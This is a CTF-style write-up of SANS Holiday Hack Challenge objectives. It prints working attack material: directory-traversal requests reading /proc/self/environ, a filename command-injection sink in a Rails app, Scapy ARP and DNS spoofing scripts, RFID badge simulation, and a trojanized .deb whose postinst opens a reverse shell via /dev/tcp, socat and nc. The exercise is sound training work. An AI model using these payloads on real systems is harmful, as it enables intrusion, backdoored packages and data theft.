registered in previous HHCs, the user is transported into a virtual world. In this case you begin with an onscreen avatar that you can move with the keyboard arrow keys or mouse. You can interact with other NPCs in the game. Your avatar also has a badge in the center of the sprite which gives information such as the currently unlocked narrative, list of objectives, hints, items, achievement, etc. Upon exploring this badge after talking with the first NPC we encounter, we find our first objective. The following hints are given for this objective: • Twirl Area – Make sure you Lasso the correct twirly area • Image Edit Tool – There are tools out there that could help Filter the Distortion that is this Twirl The text of the objective is listed to the right. Two hints for solving this challenge are also given. A link provided in the Image Edit Tool hint resolves to a tool called Photopea. Photopea is an online image editor which allows you to perform many image editing tasks including those that are common in tools like GIMP or
  • 4. SANS HHC: Challenge and Terminal Assessment Report Adobe Photoshop. Conveniently, this tool gives you the ability to swirl or unswirl images within a selected area of a photo. We will use this function to select the area of the image shown in the digital billboard and then swirl, or unswirl the image as as necessary to read the text and answer the challenge question, what gift is Santa planning on getting Josh Wright for the holidays? Below you can see the series of steps taken to make Santa’s list in the photo readable using the Lasso Select tool and then the Filter → Distort → Twirl tool. Though reversing of the initial swirl is not perfect, we can reverse the process enough to decipher the answer, Josh Wright is receiving a Proxmark for the holidays. Entering the word Proxmark into the Objective 1 text box allow us to solve this first, and the easiest of the challenges offered in this event. In addition to showing the objective as solved in the badge, we are also awarded our first achievement, Uncover Christmas List. 2.2 Objective 2 – Investigate S3 Bucket Moving on to the next area by entering the tram car, the second objective has you interact with a terminal labeled Investigate S3 Bucket. The hints for this objective are found in the both the objective listed in the badge itself and in the motd text that is displayed upon opening the terminal. All hints are listed below: • Santa’s Wrapper3000 – Santa’s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages. • Find Santa’s Package – Find Santa’s package file from the cloud storage provider. Check Josh Wright’s talk for more tips! • Finding S3 Buckets – Robin Wood wrote up a guide about finding these open S3 buckets. • Bucket Finder.rb – He even wrote a tool to search for unprotected buckets! • Leaky AWS S3 Buckets – It seems like there’s a new story every week about data exposed through unprotected Amazon S3 buckets. It seems that we must both find a package somewhere in the cloud (Amazon S3 bucket) and then do something to “unwrap” the package that is retrieved. Looking in the home directory we find a directory labeled bucket_finder. Within that directory we find a Ruby script labeled bucket_finder.rb, a wordlist, and a README. The README file explains that the bucket_finder.rb script uses a word list to attempt and find open S3 buckets and optionally download files found in public S3 buckets. Lets use this script to search for the highlighted word
  • 5. SANS HHC: Challenge and Terminal Assessment Report wrapper3000. This can be done by adding wrapper3000 to the wordlist and running the Ruby script. The results are shown below: It looks as though we have found the S3 bucket we are looking for. Upon downloading the package using curl and examining it we find a file containing base64 encoding. Decoding the base64 and storing the output in a file we find a tar archive. Unarchiving the file we now find another file encoding in hex using xxd, then XZ compressed, then compressed with the UNIX/Linux compress command. The series of commands listed below show the process of unwrapping the package to get to the final text file. The final text file contains the key necessary to complete the objective, “North Pole: The Frostiest Place on Earth”. After entering the key in Objective 2 on the badge, we get the following results and the achievement Investigate S3 Bucket. elf@59a7e495c972:~/bucket_finder$ ./bucket_finder.rb wordlist http://s3.amazonaws.com/kringlecastle Bucket found but access denied: kringlecastle http://s3.amazonaws.com/wrapper Bucket found but access denied: wrapper http://s3.amazonaws.com/santa Bucket santa redirects to: santa.s3.amazonaws.com http://santa.s3.amazonaws.com/ Bucket found but access denied: santa http://s3.amazonaws.com/wrapper3000 Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 ) <Public> http://s3.amazonaws.com/wrapper3000/package elf@59a7e495c972:~$ curl -X GET http://s3.amazonaws.com/wrapper3000/package > package % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 829 100 829 0 0 9869 0 --:--:-- --:--:-- --:--:-- 9869 elf@59a7e495c972:~$ ls TIPS bucket_finder package elf@59a7e495c972:~$ cat package | base64 -d > p elf@59a7e495c972:~$ file p p: Zip archive data, at least v1.0 to extract elf@59a7e495c972:~$ unzip p Archive: p extracting: package.txt.Z.xz.xxd.tar.bz2 elf@59a7e495c972:~$ file package.txt.Z.xz.xxd.tar.bz2 package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k elf@59a7e495c972:~$ bunzip2 package.txt.Z.xz.xxd.tar.bz2 elf@59a7e495c972:~$ file package.txt.Z.xz.xxd.tar package.txt.Z.xz.xxd.tar: POSIX tar archive elf@59a7e495c972:~$ tar -xvf package.txt.Z.xz.xxd.tar package.txt.Z.xz.xxd elf@59a7e495c972:~$ xxd -r package.txt.Z.xz.xxd package.txt.Z.xz elf@59a7e495c972:~$ file package.txt.Z.xz package.txt.Z.xz: XZ compressed data elf@59a7e495c972:~$ xz --decompress package.txt.Z.xz elf@59a7e495c972:~$ file package.txt.Z package.txt.Z: compress'd data 16 bits elf@59a7e495c972:~$ uncompress package.txt.Z elf@59a7e495c972:~$ file package.txt package.txt: ASCII text elf@59a7e495c972:~$ cat package.txt North Pole: The Frostiest Place on Earth elf@59a7e495c972:~$
  • 6. SANS HHC: Challenge and Terminal Assessment Report 2.3 Objective 3 – Point-of-Sale (PoS) Password Recovery The third objective is found in the courtyard located in the back of the castle on the first floor. The goal of this objective is to recover the password for the PoS. The following information and hints regarding this objective are given: • Electron ASAR Extraction – There are tools and guides explaining how to extract ASAR from Electron apps. • Electron Applications - It’s possible to extract the source code from an Electron app. The hints given for this objective indicate that this is an Electron application and that using an extension for NodeJS can allow an attacker to obtain the source code for the application. The application downloaded is an .exe. This executable must be installed on Windows and then the app.asar file located. The given utilities can then be used to extract the source code. Once we have the source code, we can look for a plaintext password. The following commands were used on a Fedora 32 Linux system. The commands install NodeJS, asar, the santa-shop.exe PoS application (using WINE), extract the asar, and search through the files for the word password, which leads to the PoS password in the plaintext file main.js. With the key obtained we can enter it into the objective on our badge and complete Objective 3. We receive the following result, including earning the achievement Point-of-Sale Password Recovery. $ sudo dnf module install nodejs:12 -y ... $ sudo npm install asar ... $ wine santa-shop.exe ... $ locate app.asar /home/user/.wine/drive_c/users/user/Local Settings/Application Data/Programs/santa- shop/resources/app.asar ... $ asar extract app.asar source $ cd source $ grep password * grep: img: Is a directory main.js:ipcMain.handle('unlock', (event, password) => { main.js: return (password === SANTA_PASSWORD); README.md:Remember, if you need to change Santa's passwords, it's at the top of main.js! renderer.js: const theirPassword = document.getElementById('password').value; renderer.js: document.getElementById('password-message').innerText = 'Invalid ... [steve@fx source]$ grep SANTA_PASSWORD * grep: img: Is a directory main.js:const SANTA_PASSWORD = 'santapass'; main.js: return (password === SANTA_PASSWORD); $
  • 7. SANS HHC: Challenge and Terminal Assessment Report 2.4 Objective 4 – Operate the Santavator This objective is more of a puzzle and scavenger hunt then a typical security or technology related task. Solving this challenge is completed in stages and requires the player to use items found throughout the castle to correctly redirect a light stream through different colored light bulbs matching Christmas themed icons/colors in order to allow access to additional floors of the castle. The different elevator access allowed is based on the configuration of the stream and is listed below: The following hint is also given to the player: • Santavator Operations – It’s really more art than science. The goal is to put the right colored light into the receivers on the left and top of the panel. Our search for items begins on the first floor. The following items are found on the first floor: 1. Candy Cane Fragment – Found at the entrance to the castle 2. Hex Nut 1 – Found in front of the elevator, to the right and next to a wall 3. Hex Hut 2 – Found in the dining room but hidden behind the table 4. Green Bulb – Found in the courtyard in the upper left corner 5. Elevator Key – Given to the player by Sparkle Redberry as part of the objective
  • 8. SANS HHC: Challenge and Terminal Assessment Report After obtaining these items, the elevator electronics can be configured as shown below in order to access the talks floor and the speaker unpreparedness room. After activating the green circuit and traveling to the talks floor, the items can be found that allow access to additional floors. The following items are found on this talks floor: 1. Red Bulb – Located in the upper right hand corner of the main area 2. Button 1½ – Located in the speaker unpreparedness room. The speaker unprep challenge must be solved first. After finding this items, a second configuration of the electronics allows access to roof and the workshop.
  • 9. SANS HHC: Challenge and Terminal Assessment Report The roof contains the final bulb that, when configured correctly, allows access to the remaining floors. The yellow bulb is the only item found on the roof and is located in front of and to the left of Santa’s sleigh. Though this is the last item needed for full operation of the santavator, at least for the configurations shown in this document, there are three more items to be found in the workshop on floor 1½. 1. Rubber Ball – The room with the wrapping machine in the lower right corner of the room 2. Marble – In the room with the Sort-O-Matic 3. Proxmark3 – In the room with the wrapping machine. This is necessary to complete Objective 5 With all items obtained, the final configuration is pictured below:
  • 10. SANS HHC: Challenge and Terminal Assessment Report The objective and achievement for this objective are marked as completed once the first configuration is set. The achievement Operate the Santavator is also awarded. 2.5 Objective 5 – Open HID Lock The goal of this objective is to capture RFID events from elves around the castle and use those RFIDs to gain access to an additional room in the workshop that allows you to become Santa. The following hints are given for this objective: • Proxmark Talk – Larry Pesce knows a thing or two about HID attacks. He’s the author of a course on wireless hacking! • Short List of Essential Proxmark Commands – There’s a short list of essential Proxmark commands also available. • Reading Badges with Proxmark – You can use a Proxmark to capture the facility code and ID value of a HID ProxCard badge by running lf hid read when you are close enough to someone with a badge. • Impersonating Badges with Proxmark – You can also use a Proxmark to impersonate a badge to unlock a door, if the badge you impersonate has access. Lif hid sim -r <id> Using the lf hid read the following RFIDs can be captured: 1. Shinny Upatree – Located in front of the castle ID: 2006e22f13 2. Noel Boetie – Located in the wrapping room off of the workshop ID: 2006e22ee1 3. Bow Ninecandle – Locate in the ID: 2006e22f0e 4. Sparkle Redberry – Located in front of the santavator in the entrance to the castle
  • 11. SANS HHC: Challenge and Terminal Assessment Report ID: 2006e22f0d 5. Holly Evergreen – Located in the kitchen ID: 2006e22f10 A hint given by Fizzy Shortstack, “You know Santa really seems to trust Shinny Upatree,” indicates that this is probably the RFID that will open the door so it is the first one that was tried. It should be noted that opening the HID requires that the players avatar be directly in front of the HID reader as pictured below. The player must also wait for the Proxmarx to run the operation before closing the Proxmark window or the HID will not activate. The command shown below, using Shinny Upatree’s RFID will open the door. After opening the door, the objective is marked as complete and the Open HID Lock achievement is earned. 2.6 Becoming Santa In order to become Santa, the player must enter the room unlocked with the Proxmark and travel through the back of the painting that faces the entry as shown below. Note: This challenge was changed after the initial completion of the objective prior to December 17th . The room initially consisted of an invisible maze you had to navigate to get to the back of the painting. That has since been disabled. Many of the final objectives can only be completed as Santa. 2.7 Objective 6 – Splunk Challenge Objective 6 is meant to be a walk through of using Splunk to do an investigation on the logs and traffic generated by the Atomic Red Team tests. [magicdust] pm3 → lf hid sm -r 2006e22f13 [=] Simulating HID tag using raw 2006e22f13 [=] Stopping simulation after 10 seconds.
  • 12. SANS HHC: Challenge and Terminal Assessment Report Below each question is given along with the query used to obtain the answer. 1. How many distinct MITRE ATT&CK techniques did Alice emulate? 2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space) 3. One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of the registry key that is queried to determine the MachineGuid? This is query was run after determining which tests are meant for system information discovery on the Atomic Red Team indexes: 1082 is described as system information discovery. 4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.) 5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component? The frgnca utility is an audio device Powershell script called AudioDeviceComdlets. 6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation? This answer required finding batch files associated with registry run key tests and searching through the files on the Atomic Red Team github to find which batch files contained command manipulating the Windows registry run keys. | tstats count where index=* by index | search NOT index=attack | eval index=substr(index,0,5) | dedup index | stats count /* Answer: 13 */ | tstats count where index=* by index | search index=t1059.003* /* Answer: t1059.003-main t1059.003-win */ index=t1082-win HKEY_LOCAL_MACHINE /* Answer: HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptography */ index=attack field3=T1205.002 OR field3=T1105 OSTAP | sort _time /* Answer: 2020-11-30T17:44:15Z */ index=T1123-win EventCode=1 WindowsAudioDevice-Powershell-Cmdlet | sort _time /* Answer: 3648 */
  • 13. SANS HHC: Challenge and Terminal Assessment Report 7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range? 8. The final question gives us the ciphertext 7FXjP1lyfKbyDK/MChyf36h7 which hints indicate is encrypted with the RC4 cipher. Additionally, the Splunk talk gives us the passphrase “Stay Frosty.” Using this information, a variety of tools were used to try and decrypt the cipher with the given passphrase, inlcuding OpenSSL, Cryptool, and various online tools. These did not work because the KDF did not match what was used. Finally, after iterating through a number of online tools, CyberChef was able to decrypt the ciphertext with the given passphrase. After entering the phrase “The Lollipop Guild” into the objective entry on the badge, you complete the objective and are given the achievement Splunk Challenge. 2.8 Objective 7 – Solve the Sleigh’s CAN-D-Bus Problem In this challenge, you are given an interface and a live view of the CAN-Bus data flowing on the Bus. Jack Frost has tampered with the system so that invalid codes are being sent. You must filter out these invalid codes. The following hints are also given: index=t1547.001-win .bat | rex field=_raw "(?<batfilename>[a-zA-Z0-9_]+.bat)" | stats count by batfilename /* Answer: quser from the parse_net_users.bat batch file */ index=*-win | stats count by ComputerName index=* certificate.subject=*win-dc* /* Answer: 55FCEEBB21270D9249E86F4B9DC7AA60 */
  • 14. SANS HHC: Challenge and Terminal Assessment Report • CAN Bus Talk – Chris Elgee is talking about how CAN traffic works right now! • Filtering Text – You can hide lines you don’t want to see with commands like cat file.txt | grep -v badstuff Additionally, we have already become somewhat familiar with this protocol from completing the CAN-Bus Investigation terminal. After playing with the controls and with various levels of filtering we find the following codes and values are associated with the following controls. Start - 02A#00FF00 Stop - 02A#0000FF RPM - 244#000064 - 00270F Lock - 19B#000000 Unlock - 19B#F000000 SL-SR - 019#FFFFFFCE - 00000030 Brake - 080#00000000 – 00000064 After filtering out these legitimate controls and codes are associated with normal events we are left with two codes. The first is a periodic code of 19B and value 0F2057 which is sent with no associated control or event. The second are 080 codes with negative values along with the legitimate positive values when the brake is pressed. Filtering out these codes, as shown below, completes the objective. After entering these two filter, the challenge is solved and you receive the Solve the Sleigh’s CAN-D-BUS Problem achievement. 2.9 Objective 8 – Broken Tag Generator Objective 8 is located in the wrapping room off of the workshop. This consists of a tag generator Rails application that has an RCE (among other issues). Your task is to find the value of the GREETZ environment variable.
  • 15. SANS HHC: Challenge and Terminal Assessment Report The following hints are also given. • Download File Mechanism – Once you know the path to the file, we need a way to download it! • Error Page Message Disclosure – Can you figure out the path to the script? It’s probably on the error pages! • Redirect to Download – If you find a way to execute code blindly, I bet you can redirect to a file then download that file! • Content-Type Gotcha – If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)! • Endpoint Exploration – Is there an endpoint that will print arbitrary files? • Source Code Retrieval – We might be able to find the problem if we can get source code! • Source Code Analysis – I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark? • Patience and Timing – Remember, the processing happens in the background so you might need to wait before grabbing the output! Even given the hints, this was one of the more challenging problems to solve given the design of the application, which is admittedly simple. There were only really a few ways to interact with the application, which included fetching images, deleting the cache, and uploading images. After inspecting the program using a browser and Burp, it was discovered that uploaing a file other than an image file generated an error that revealed the path to the app.rb file which comprise the core of this rails app. In the app further, another url (/image) allowed the fetching of image files. This url, when tested, was found to be vulnerable to a directory traversal vulnerability. This allowed us to fetch any file on the filesystem for which we knew the name. At this point we could solve the challenge by asking the /image url to fetch us the /proc/self/environ file, which displays the environmental variables associated with the running process. GET https://tag-generator.kringlecastle.com/image?../../../../../../proc/self/ environ
  • 16. SANS HHC: Challenge and Terminal Assessment Report Though this solves the objective, we also want to exploit this application using the RCE. We first do this by fetching the app.rb file with the following web request. After getting the source code for the controller/app, we find the following line of code, which accepts user input through an image file name or a file name of an image in a zip when any file is uploaded and found to have an image extension. Perhaps we can run some of our own code by submitting an appropriately named file and having it executed by the Ruby system function. On testing this, it was found that something was interferring with the command being run if the file was uploaded as an image file without being compressed in the zip format. Zip files on the other hand were found to execute with a subset of shell characters. Additionally, it was found that any file in a zip format was stored in the /tmp directory (the directory where upload images were stored as per the source code) with the orginal filename, so a zipped shell script test.sh in a zip file would end up in the /tmp folder as test.sh. The following steps were taken to obtain the GREETZ variable using the RCE. 1. Upload a zip file with the bash code we want to execute (if we want to run some more complex commands outside of the direct RCE). Contents of the test.sh file Zip files with shell script to execute and a zipped .png file named with the shell command (simplified) passed to the application in order to execute test.sh stored in /tmp. GET https://tag-generator.kringlecastle.com/image?../../../../../../app/lib/app.rb def handle_image(filename) out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}" out_path = "#{ FINAL_FOLDER }/#{ out_filename }" # Resize and compress in the background Thread.new do if !system("convert -resize 800x600> -quality 75 '#{ filename }' '#{ out_path }'") LOGGER.error("Something went wrong with file conversion: #{ filename }") else LOGGER.debug("File successfully converted: #{ filename }") end end # Return just the filename - we can figure that out later return out_filename end #!/bin/bash printenv > /tmp/output.txt
  • 17. SANS HHC: Challenge and Terminal Assessment Report Getting the /tmp/output.txt file after the RCE has executed (It is a blind RCE that execute asynchronously. ) In both solutions, we find the GREETZ variable contains the value JackFrostWasHere. Submitting this to the objective on the badge solves the objective and gives us the Broken Tag Generator achievement. 2.10 Objective 9 – ARP Shenanigans The terminal for this objective is located on the roof of the castle. You are required to regain control of a compromised host by using a combination of Scapy and a hijacked/trojanized .deb package. To solve this, the following Bash and Python scripts were created and executed. The following hints are given to help solve this objective: GET https://tag-generator.kringlecastle.com/image?../../../../../../tmp/output.txt
  • 18. SANS HHC: Challenge and Terminal Assessment Report • Spoofy – The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in- the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts. • Embedy – The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file. • Sniffy – Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host. • Resolvy – Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP. 1. Create Scapy script to perform and ARP spoof and gain access to DNS traffic from the compromised host. The script use automatically pulls information from the host so it can be used if the IP address of the host changes without changing the script. Ensure you are receiving DNS queries after the script is run. 2. Second, create another Scapy script to spoof a DNS response that indicates our host maps to the hostname of the requested host. The script use automatically pulls information from the host so it can be used if the IP address of the host changes without changing the script. Ensure you are receiving HTTP traffic after the script is run. #!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 ip ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our eth0 mac address macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) srcip = "10.6.6.53" def handle_arp_packets(packet): # if arp request, then we need to fill this out to send back our mac as the response if ARP in packet and packet[ARP].op == 1: ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr) arp_response = ARP(pdst=packet[Ether].src) arp_response.op = 2 … guest@67851b8c8fd5:~$ ./arp_spoof.py
  • 19. SANS HHC: Challenge and Terminal Assessment Report 3. Since we are building a package for a reverse shell that should execute, lets start our listener. 4. Next we should build our .deb package. We used the already available socat package to ensure we had a method of generating a reverse shell. Upon capturing HTTP traffic we find that the directory and file being requests is /pub/jfrost/backdoor/suriv_amd64.db. The following commands are were used to build a deb file that executes malicious code when it is installed and will be served from the correct directory by our Python web server. #!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 IP ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our Mac Addr macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = "10.6.6.53" def handle_dns_request(packet): # Need to change mac addresses, Ip Addresses, and ports below. # We also need eth = Ether(src=macaddr, dst=packet[Ether].src) # need to replace mac addresses ip = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed) # need to replace IP addresses udp = UDP(dport=packet[UDP].sport, sport=53) # need to replace ports dns = DNS( id=packet[DNS].id,qr=1,opcode=0,rd=1,ra=1,aa=0,tc=0,z=0,rcode=0,qdcount=1,ancount=1 ,nscount=0,arcount=0,qd=DNSQR(qname=packet[DNSQR].qname, qtype=packet[DNSQR].qtype, qclass=packet[DNSQR].qclass),an=DNSRR(rrname=packet[DNSQR].qname, type=packet[DNSQR].qtype, rclass=packet[DNSQR].qclass,rdata=ipaddr,ttl=10) ) dns_response = eth / ip / udp / dns ... guest@67851b8c8fd5:~$ ./dns_spoof.py guest@67851b8c8fd5:~$ nc -nvlp 4444 listening on [any] 4444 ...
  • 20. SANS HHC: Challenge and Terminal Assessment Report 5. At this point we should receive a reverse shell and be able to type commands into the nc windows. 6. Examining the file we find the answer to the objectives questions in the following lines: The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle. Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.” Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burden on local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life. We can now solve this objective by entering the name Tanta Kringle into the objective on the Kringlecon badge. We are rewarded with the ARP Shenanigans achievement. guest@67851b8c8fd5:~$ mkdir -p pub/jfrost/backdoor guest@67851b8c8fd5:~$ mkdir -p /tmp/packing/work guest@67851b8c8fd5:~$ dpkg -x debs/socat_1.7.3.3-2_amd64.deb /tmp/packing/work guest@67851b8c8fd5:~$ mkdir /tmp/packing/work/DEBIAN guest@67851b8c8fd5:~$ ar -x debs/socat_1.7.3.3-2_amd64.deb guest@67851b8c8fd5:~$ xz -d -v ./control.tar.xz guest@67851b8c8fd5:~$ tar -xvf ./control.tar & cp control /tmp/packing/work/DEBIAN guest@67851b8c8fd5:~$ touch /tmp/packing/work/DEBIAN/postinst guest@67851b8c8fd5:~$ echo '#!/bin/bash' > /tmp/packing/work/DEBIAN/postinst guest@67851b8c8fd5:~$ echo '' >> /tmp/packing/work/DEBIAN/postinst guest@67851b8c8fd5:~$ echo ATTACKING_IP=`ifconfig eth0 | grep inet | sed -e 's/^ *//g' | cut -f 2 -d ' '` >> /tmp/packing/work/DEBIAN/postinst guest@67851b8c8fd5:~$ echo "QVRUQUNLSU5HX1BPUlQ9NDQ0NAowPCYxOTY7ZXhlYyAxOTY8Pi9kZXYvdGNwLyRBVFRBQ0tJTkdf SVAvJEFUVEFDS0lOR19QT1JUOyBzaCA8JjE5NiA+JjE5NiAyPiYxOTYgfHwgYmFzaCAtaSA+JiAv ZGV2L3RjcC8kQVRUQUNLSU5HX0lQLyRBVFRBQ0tJTkdfUE9SVCAwPiYxIHx8IHNvY2F0IHRjcDok QVRUQUNLSU5HX0lQOiRBVFRBQ0tJTkdfUE9SVCBleGVjOidiYXNoIC1pJyxwdHksc3RkZXJyLHNl dHNpZCxzaWdpbnQsc2FuZSB8fCBuYyAtZSAvYmluL3NoICRBVFRBQ0tJTkdfSVAgJEFUVEFDS0lO R19QT1JUCg==" | base64 -d >> /tmp/packing/work/DEBIAN/postinst # file containing attacking IP and port as well as reverse shell that tries a variety of methods base64 encoded for easy copy and paste into terminal. 0<&196;exec 196<>/dev/tcp/$ATTACKING_IP/$ATTACKING_PORT; sh <&196 >&196 2>&196 || bash -i >& /dev/tcp/$ATTACKING_IP/$ATTACKING_PORT 0>&1 || socat tcp:$ATTACKING_IP: $ATTACKING_PORT exec:'bash -i',pty,stderr,setsid,sigint,sane || nc -e /bin/sh $ATTACKING_IP $ATTACKING_PORT guest@67851b8c8fd5:~$ chmod 755 /tmp/packing/work/DEBIAN/postinst guest@67851b8c8fd5:~$ dpkg-deb --build /tmp/packing/work & cp /tmp/packing/work.deb guest@67851b8c8fd5:~$ pub/jfrost/backdoor/suriv_amd64.deb guest@67851b8c8fd5:~$ python3 -m http.server 80 listening on [any] 4444 ... connect to [10.6.0.3] from (UNKNOWN) [10.6.6.35] 43342 ls NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt bin boot
  • 21. SANS HHC: Challenge and Terminal Assessment Report 2.11 Objective 10 – Defeat Fingerprint Sensor This objective requires us to bypass the fingerprint reader in the santavator as ourselves and make into Santa’s office. Solving this objective turns out to be pretty easy this late in the game as you only need some basic JavaScript knowledge and a web browser to bypass the fingerprint reader. When entering the elevator and examining the JavaScript code that controls the button, and specifically button 4 or the finger scanner, we find the following function: This function is checking for a token called “besanta” and if the token is in the array of tokens then run the function and allow access. Very simply, all we need to do is pause execution at this point with the Chrome or Firefox development modes, add besanta to the tokens and then the function run. To do this, set a breakpoint on line 354 of the app.js code, push the fingerprint reader, and then type in the following code into the reader: Finally, we can resume execution and we have just bypassed the fingerprint reader, solved the objective, and earned the Defeat Fingerprint Sensor achievement. const handleBtn4 = () => { const cover = document.querySelector('.print-cover'); cover.classList.add('open'); cover.addEventListener('click', () => { if (btn4.classList.contains('powered') && hasToken('besanta')) { $.ajax({ type: 'POST', url: POST_URL, dataType: 'json', contentType: 'application/json', data: JSON.stringify({ targetFloor: '3', id: getParams.id, }), success: (res, status) => { if (res.hash) { __POST_RESULTS__({ resourceId: getParams.id || '1111', hash: res.hash, action: 'goToFloor-3', }); } } }); } else { __SEND_MSG__({ type: 'sfx', filename: 'error.mp3', }); } }); }; > tokens.push(“besanta”)
  • 22. SANS HHC: Challenge and Terminal Assessment Report 2.12 Objective 11a – Naughty/Nice List with Blockchain Investigation Part 1 This objective is the first of the final two objectives. Both objectives involve problems with manipulating blocks in a block chain. This first challenge involves using the Mersenne Twister algorithm to predict the nonces which are stored in each block. We are given the following hint to help us with our task. • MD5 Hash Collisions – If you have control over to bytes in a file, it’s easy to create MD5 hash collisions. Problem is: there’s that nonce that he would have to know ahead of time. We are given a blockchain.dat file and a Python script which can be used to read in and manipulate the block chain and individual blocks. Upon reading in the block chain and viewing individual blocks, we find that the nonce are 64-bit numbers. The previous work we did was with 32-bit numbers. Perhaps the random numbers generated by the Mersenne Twister are joined in some way to make a 64-bit number out of two 32-bit numbers. We can use the existing mt19937.py and naughty_nice.py to write a short script and test to see if the numbers are concatenated in a certain order.
  • 23. SANS HHC: Challenge and Terminal Assessment Report #!/usr/bin/python import naughty_nice as nn import mt19937 as mt chain = nn.Chain(load=True) m = mt.mt19937(0) nonces = [] subchain = chain.blocks[0:312] actual = chain.blocks[312].nonce # grab the 64-bit nonces from blocks 0 to 311 (312 blocks total) for block in subchain: nonces.append(block.nonce) def firstsecond(lr): srf = [] srs = [] mpf = mt.mt19937(0) mps = mt.mt19937(0) for i in lr: # get the lower 32 bits of the nonce second = i & 0xffffffff # get the upper 32 bits of the nonce first = i >> 32 # order the numbers so that the upper 32 bits are first and lower second srf.append(first) srf.append(second) # order the numbers so that the lower 32 bits are first and upper second srs.append(second) srs.append(first) # initialize mt19937 objects with the to different orderings of numbers for i in range(0,len(srf)): mpf.MT[i] = mt.untemper(srf[i]) for i in range(0,len(srs)): mps.MT[i] = mt.untemper(srs[i]) # generate the four different combinations of contacts and predictions # test to see which of the four combinations matches the next # nonce by printing to screen fsfirst = mpf.extract_number() print(fsfirst) fssecond = mpf.extract_number() print(fssecond) sffirst = mps.extract_number() print(sffirst) sfsecond = mps.extract_number() print(sfsecond) print("first second first second - predict: {} actual:{}", (fsfirst<<32)| (fssecond), actual) print("first second second first - predict: {} actual:{}", (fssecond<<32)| (fsfirst), actual) print("second first first second - predict: {} actual:{}", (sffirst<<32)| (sfsecond), actual) print("second first second first - predict: {} actual:{}", (sfsecond<<32)| (sffirst), actual) firstsecond(nonces) # second first second first # in other words lower bytes first, upper bytes second second:first
  • 24. SANS HHC: Challenge and Terminal Assessment Report Looking at the results, we see that the first number generated always makes up the upper 32-bits of the nonce and the second number generated always makes up the lower 32-bits of the nonce. Using this we can write another script which will take the last 312 nonces and use those to predict block id 130000. Now that we have predicted the nonce for block 130000 we can enter the value into our badge for this objective and earn the achievement Naughty/Nice List with Blockchain Investigation Part 1. $ ./test_rand_predict.py 2940097750 1628557833 3957348375 3514278914 first second first second - predict: {} actual:{} 12627623684921741833 15093713008609744919 first second second first - predict: {} actual:{} 6994602635319727318 15093713008609744919 second first first second - predict: {} actual:{} 16996681853018022914 15093713008609744919 second first second first - predict: {} actual:{} 15093713008609744919 15093713008609744919 #!/usr/bin/python import naughty_nice as nn import mt19937 as mt PREDICT_BLOCK_ID = 130000 chain = nn.Chain(load=True) m = mt.mt19937(0) subchain = chain.blocks[-312:] nonces = [] for block in subchain: nonces.append(block.nonce) rands = [] for i in nonces: rands.append(i & 0xffffffff) rands.append(i >> 32) for i in range(0,len(rands)): m.MT[i] = mt.untemper(rands[i]) for i in range(chain.blocks[len(chain.blocks)-1].index+1,(PREDICT_BLOCK_ID+1)): first = m.extract_number() second = m.extract_number() # print(first) # print(second) if(i == PREDICT_BLOCK_ID): print("Block ID ", i, "nonce is: ", hex((second << 32) | first)) # else: # print("Block ID ", i, "nonce is: ", hex((second << 32) | first)) ... $ ./predict_nonce.py Block ID 130000 nonce is: 0x57066318f32f729d
